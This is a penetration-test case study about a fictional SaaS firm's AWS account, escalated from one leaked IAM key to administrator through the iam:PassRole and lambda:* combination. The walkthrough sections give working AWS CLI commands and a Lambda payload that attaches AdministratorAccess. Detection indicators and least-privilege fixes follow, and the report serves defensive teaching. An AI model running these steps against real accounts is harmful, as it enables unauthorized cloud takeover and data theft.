01Executive Summary
SecureSan Technologies was engaged by Aperture Analytics (a fictional SaaS data-analytics company) to assess the security of its AWS environment. Beginning from a single long-lived IAM access key that had been committed to a public code repository — a scenario we simulated with the client's consent — our consultants escalated from a low-privileged identity to full AWS account administrator by abusing a dangerous combination of iam:PassRole and lambda:* permissions.
The escalation required no exploit. Every step used documented AWS API calls that the leaked identity was permitted to make. The engagement produced 18 findings (4 Critical, 5 High, 6 Medium, 3 Low), all Critical and High remediated at retest for a 90% risk reduction.
In the cloud, a permission is a capability. The account was not breached — it was operated, exactly as configured, by the wrong person.
02Client Background
Aperture Analytics (fictional) runs a multi-tenant analytics SaaS on AWS, processing customer datasets at scale.
- Sector: B2B SaaS / data analytics
- Cloud: AWS, single production account, ~40 engineers with programmatic access
- Footprint: EC2, Lambda, S3 (customer data), RDS, IAM with ~120 roles and policies
- Compliance drivers: SOC 2 Type II, customer contractual security requirements
03Business Challenges
Aperture's team had grown its IAM policies organically. Permissions were granted reactively ("just make it work"), and several broad policies had accumulated. The CISO's concern was specific and well-founded: "If one developer key leaks, how far can it go?" Credential leakage via source code is one of the most common real-world cloud breach vectors, so we tested exactly that path.
04Engagement Scope
Assumed-breach cloud assessment. With written authorization, the client provisioned a representative low-privileged IAM user and we treated its access key as "leaked." No console access, no additional privileges — only what that identity carried.
| In scope | Out of scope |
|---|---|
| AWS IAM: users, roles, policies, escalation paths | The SaaS application layer |
| Privilege-escalation and lateral movement within the account | Customer tenants' own AWS accounts |
| S3 / data exposure reachable from the identity | Destructive actions (agreed non-destructive PoC only) |
All actions were logged, non-destructive, and coordinated with the client's team in real time.
05Testing Methodology
Testing aligned to the CIS AWS Foundations Benchmark, the AWS Well-Architected Security Pillar, and MITRE ATT&CK for Cloud. The privilege-escalation methodology follows well-documented IAM escalation paths (of the class catalogued by security researchers and tools such as Pacu).
06Assessment Timeline
| Day | Activity |
|---|---|
| 1 | Establish access with leaked key; identity and permission enumeration |
| 2 | Map escalation paths; identify iam:PassRole + lambda:* combination |
| 3 | Execute non-destructive privilege escalation to admin; validate |
| 4 | Assess data exposure & blast radius; collect evidence |
| 5 | Reporting & remediation workshop with the cloud team |
| +30 | Retest — 90% risk reduction confirmed |
07Environment Details
| Item | Detail |
|---|---|
| Account | Single production AWS account (no organization/SCP guardrails) |
| Leaked identity | IAM user svc-etl-dev with a long-lived access key |
| Key policies | A broad inline policy granting iam:PassRole and lambda:* |
| Logging | CloudTrail enabled (single region), no automated alerting on IAM changes |
08Tools Used
- AWS CLI — all API interaction
- enumerate-iam — brute-force the identity's effective permissions
- Pacu — AWS exploitation framework (privilege-escalation modules)
- ScoutSuite / Prowler — CIS-benchmark configuration review
- jq — parsing IAM policy JSON
09Attack Surface Analysis
The reachable attack surface from a single leaked key is defined entirely by that identity's effective permissions and the escalation paths they unlock.
| Capability held | Why it matters | Risk |
|---|---|---|
iam:PassRole | Lets the identity hand an existing role to an AWS service | High |
lambda:CreateFunction / lambda:* | Lets the identity create and run code under a passed role | Critical (in combination) |
iam:ListRoles | Reveals which high-privilege roles exist to target | Medium |
Individually, each permission has legitimate uses. Together, iam:PassRole + lambda:* is one of the best-known IAM privilege-escalation primitives: create a Lambda, pass it an admin role, and run arbitrary code as that role.
10Reconnaissance Process
We configured the AWS CLI with the leaked key and confirmed the identity:
$ aws sts get-caller-identity
{
"UserId": "AIDA...",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/svc-etl-dev"
}
We enumerated effective permissions with enumerate-iam:
$ python enumerate-iam.py --access-key AKIA... --secret-key ...
[+] iam.ListRoles -> allowed
[+] iam.PassRole -> allowed
[+] lambda.CreateFunction -> allowed
[+] lambda.InvokeFunction -> allowed
[+] s3.ListBuckets -> allowed
Listing roles revealed a high-privilege target — a role with the AWS-managed AdministratorAccess policy attached, trusted by the Lambda service:
$ aws iam list-roles --query "Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.Service, 'lambda.amazonaws.com')].RoleName"
[ "lambda-admin-execution-role" ]
11Vulnerability Discovery
Finding 1 — IAM privilege escalation via PassRole + Lambda (Critical)
The leaked identity could pass a role it did not own to a Lambda function it created, then invoke that function to execute code with the role's (administrator) permissions. This is a complete, exploit-free path from low-privileged user to account administrator.
Finding 2 — Over-privileged managed policy (Critical)
The execution role carried AdministratorAccess — the broadest possible policy — where a narrowly scoped role would have sufficed. This is the CIS-benchmark violation that made escalation catastrophic rather than contained.
Finding 3 — Long-lived access keys (High)
The identity used a static, non-expiring access key. CIS AWS Foundations recommends against long-lived keys precisely because a single leak grants durable access.
12Technical Exploitation Walkthrough
Step 1 — Author attacker code for the Lambda
The function, once running as the admin role, attaches administrator rights to our low-privileged user — making the escalation persistent and demonstrable without destructive action:
# lambda_function.py — runs AS lambda-admin-execution-role
import boto3
def handler(event, context):
iam = boto3.client('iam')
iam.attach_user_policy(
UserName='svc-etl-dev',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
return "attached"
Step 2 — Create the function, passing the admin role
$ zip fn.zip lambda_function.py
$ aws lambda create-function --function-name etl-helper \
--runtime python3.12 --handler lambda_function.handler \
--role arn:aws:iam::123456789012:role/lambda-admin-execution-role \
--zip-file fileb://fn.zip
{ "FunctionArn": "arn:aws:lambda:...:function:etl-helper" }
AWS permitted the PassRole because the leaked identity's policy allowed it. This is the pivotal moment — a low-privileged user just handed itself an admin role's power.
Step 3 — Invoke and escalate
$ aws lambda invoke --function-name etl-helper out.json
$ cat out.json
"attached"
$ aws iam list-attached-user-policies --user-name svc-etl-dev
{ "AttachedPolicies": [
{"PolicyName": "AdministratorAccess", "PolicyArn": "..."} ]}
Step 4 — Confirm full account control
The previously low-privileged key now had administrator access to the entire account — every S3 bucket of customer data, every RDS instance, every secret in Secrets Manager. We stopped at proof and captured evidence; no data was exfiltrated and the change was reverted with the client.
13Attack Chain
A single leaked key became full account compromise through one permission combination:
14Business Impact
- Total account compromise. Administrator access implies read/write to all customer data in S3 and RDS, all secrets, and all infrastructure.
- Multi-tenant data exposure. As a SaaS, a single-account admin can reach every tenant's data — a catastrophic confidentiality failure.
- SOC 2 impact. The escalation path directly undermines the access-control and least-privilege commitments central to a SOC 2 report.
- Persistence & stealth. An attacker could establish durable backdoor access (new keys, roles, or Lambda triggers) that survive rotation of the original key.
15MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
| Discovery | Cloud Infrastructure Discovery | T1580 |
| Privilege Escalation | Valid Accounts / abuse of IAM permissions | T1078 / T1098 |
| Persistence | Account Manipulation: Additional Cloud Credentials | T1098.001 |
| Collection | Data from Cloud Storage | T1530 |
16CVSS Scoring
| Finding | CVSS 3.1 vector | Score | Severity |
|---|---|---|---|
| PassRole + Lambda privilege escalation | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 | Critical |
| AdministratorAccess on service role | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 | Critical |
| Long-lived access keys | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 | High |
The escalation scores 9.9 (Scope: Changed — the impact crosses from the compromised identity into the entire account's resources).
17Risk Matrix
| Likelihood → / Impact ↓ | Low | Medium | High |
|---|---|---|---|
| Severe | PassRole + Lambda escalation | ||
| Major | Long-lived keys | No IAM-change alerting | |
| Moderate | Single-region CloudTrail | No SCP guardrails | |
| Minor | Unused roles |
18Evidence Collected
- CloudTrail records of every enumeration and escalation call (a clean audit trail of the engagement)
- enumerate-iam output showing the dangerous permission set
- Terminal capture of function creation, invocation, and the resulting policy attachment
- Prowler/ScoutSuite CIS-benchmark report highlighting the failed controls
Indicators of Compromise
# CloudTrail signals of this escalation:
- lambda:CreateFunction with a PassRole to a high-priv role
- iam:AttachUserPolicy attaching AdministratorAccess
- New Lambda invoked once then abandoned
- API calls from an access key used outside its normal region/UA
19Root Cause Analysis
- Over-provisioned IAM. The leaked identity held
iam:PassRole+lambda:*with noConditionconstraining which roles could be passed — the direct enabler. - An admin-scoped service role.
AdministratorAccesson a Lambda execution role turned a contained escalation into total compromise. - No guardrails. No Service Control Policies, no permission boundaries, no alerting on IAM changes — nothing to catch or constrain the escalation.
- Long-lived keys. A static credential made the initial leak durable.
20Remediation Recommendations
Immediate
- Constrain
iam:PassRolewith aConditionso the identity can only pass narrowly-scoped roles — never an admin role. - Replace
AdministratorAccesson the Lambda role with a least-privilege policy scoped to what the function actually needs.
// Scope PassRole so only a specific, low-priv role can be passed
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123456789012:role/etl-restricted-role",
"Condition": { "StringEquals":
{ "iam:PassedToService": "lambda.amazonaws.com" } }
}
Short term
- Eliminate long-lived keys — move to short-lived credentials (IAM Identity Center / STS AssumeRole with MFA).
- Apply permission boundaries to developer identities so no identity can escalate beyond a ceiling.
- Add Service Control Policies (SCPs) at the organization level as account-wide guardrails.
- Enable automated alerting on sensitive IAM events (AttachUserPolicy, CreateFunction+PassRole).
Strategic
- Continuous CIS-benchmark scanning (Prowler) in CI/CD; treat drift as an incident.
- Adopt least-privilege as policy, with access reviews and automated detection of privilege-escalation paths.
21Security Improvements After Remediation
At retest:
iam:PassRoleis now conditioned and can pass only a least-privilege role; the admin role is no longer passable by developer identities.- The Lambda execution role's
AdministratorAccesswas replaced with a scoped policy. - Long-lived keys eliminated in favour of short-lived STS credentials with MFA.
- SCP guardrails and IAM-change alerting deployed.
$ aws lambda create-function --function-name etl-helper2 \
--role arn:aws:iam::123456789012:role/lambda-admin-execution-role ...
An error occurred (AccessDenied): User svc-etl-dev is not authorized to
perform iam:PassRole on resource lambda-admin-execution-role
22Lessons Learned
- In the cloud, IAM is the perimeter. There was no network exploit — the entire compromise was a chain of permitted API calls.
- Permission combinations, not single permissions, create risk.
PassRoleandlambda:*are each reasonable; together they are an escalation primitive. - Least privilege is the control. A scoped execution role would have contained the entire incident.
- Static keys are a liability. Short-lived, MFA-gated credentials shrink the value of any single leak.
23Key Metrics
24Conclusion
Aperture Analytics went from a single leaked developer key to full account administrator in three permitted API calls — because IAM was over-provisioned and ungoverned. The remediation was pure least-privilege: constrain PassRole, scope the execution role, kill long-lived keys, and add guardrails. Aggregate risk fell 90% at retest.
Why This Matters
Cloud breaches rarely look like breaches. There is no alarm, no exploit, no malware — just an identity doing things it was technically allowed to do. That is what makes over-permissioned IAM so dangerous: the attack and normal operation are indistinguishable until the data is already gone.
A five-day assumed-breach assessment mapped the exact path from one leaked key to total compromise and closed it — before a real leaked key (the single most common cloud incident) could do the same. Proactive cloud security testing turns "how far could a leak go?" from an open question into a closed one.